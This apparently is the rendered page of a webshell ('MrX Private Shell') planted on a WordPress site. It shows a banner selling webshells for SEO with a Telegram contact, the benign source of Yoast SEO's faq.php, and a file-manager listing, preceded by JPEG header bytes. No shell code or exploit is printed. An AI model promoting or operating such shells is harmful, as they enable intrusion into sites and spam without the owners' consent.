����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Generators\Schema;
/**
* Returns schema FAQ data.
*/
class FAQ extends Abstract_Schema_Piece {
/**
* Determines whether or not a piece should be added to the graph.
*
* @return bool
*/
public function is_needed() {
if ( empty( $this->context->blocks['yoast/faq-block'] ) ) {
return false;
}
if ( ! \is_array( $this->context->schema_page_type ) ) {
$this->context->schema_page_type = [ $this->context->schema_page_type ];
}
$this->context->schema_page_type[] = 'FAQPage';
$this->context->main_entity_of_page = $this->generate_ids();
return true;
}
/**
* Generate the IDs so we can link to them in the main entity.
*
* @return array
*/
private function generate_ids() {
$ids = [];
foreach ( $this->context->blocks['yoast/faq-block'] as $block ) {
foreach ( $block['attrs']['questions'] as $index => $question ) {
if ( ! isset( $question['jsonAnswer'] ) || empty( $question['jsonAnswer'] ) ) {
continue;
}
$ids[] = [ '@id' => $this->context->canonical . '#' . \esc_attr( $question['id'] ) ];
}
}
return $ids;
}
/**
* Render a list of questions, referencing them by ID.
*
* @return array Our Schema graph.
*/
public function generate() {
$graph = [];
$questions = [];
foreach ( $this->context->blocks['yoast/faq-block'] as $index => $block ) {
$questions = \array_merge( $questions, $block['attrs']['questions'] );
}
foreach ( $questions as $index => $question ) {
if ( ! isset( $question['jsonAnswer'] ) || empty( $question['jsonAnswer'] ) ) {
continue;
}
$graph[] = $this->generate_question_block( $question, ( $index + 1 ) );
}
return $graph;
}
/**
* Generate a Question piece.
*
* @param array $question The question to generate schema for.
* @param int $position The position of the question.
*
* @return array Schema.org Question piece.
*/
protected function generate_question_block( $question, $position ) {
$url = $this->context->canonical . '#' . \esc_attr( $question['id'] );
$data = [
'@type' => 'Question',
'@id' => $url,
'position' => $position,
'url' => $url,
'name' => $this->helpers->schema->html->smart_strip_tags( $question['jsonQuestion'] ),
'answerCount' => 1,
'acceptedAnswer' => $this->add_accepted_answer_property( $question ),
];
$data = $this->helpers->schema->language->add_piece_language( $data );
return $data;
}
/**
* Adds the Questions `acceptedAnswer` property.
*
* @param array $question The question to add the acceptedAnswer to.
*
* @return array Schema.org Question piece.
*/
protected function add_accepted_answer_property( $question ) {
$data = [
'@type' => 'Answer',
'text' => $this->helpers->schema->html->sanitize( $question['jsonAnswer'] ),
];
$data = $this->helpers->schema->language->add_piece_language( $data );
return $data;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| abstract-schema-piece.php | File | 794 B | 0644 |
|
| article.php | File | 7.12 KB | 0644 |
|
| author.php | File | 2.95 KB | 0644 |
|
| breadcrumb.php | File | 5.05 KB | 0644 |
|
| faq.php | File | 2.89 KB | 0644 |
|
| howto.php | File | 4.91 KB | 0644 |
|
| main-image.php | File | 1.14 KB | 0644 |
|
| organization.php | File | 2.51 KB | 0644 |
|
| person.php | File | 9.09 KB | 0644 |
|
| webpage.php | File | 4.53 KB | 0644 |
|
| website.php | File | 2.6 KB | 0644 |
|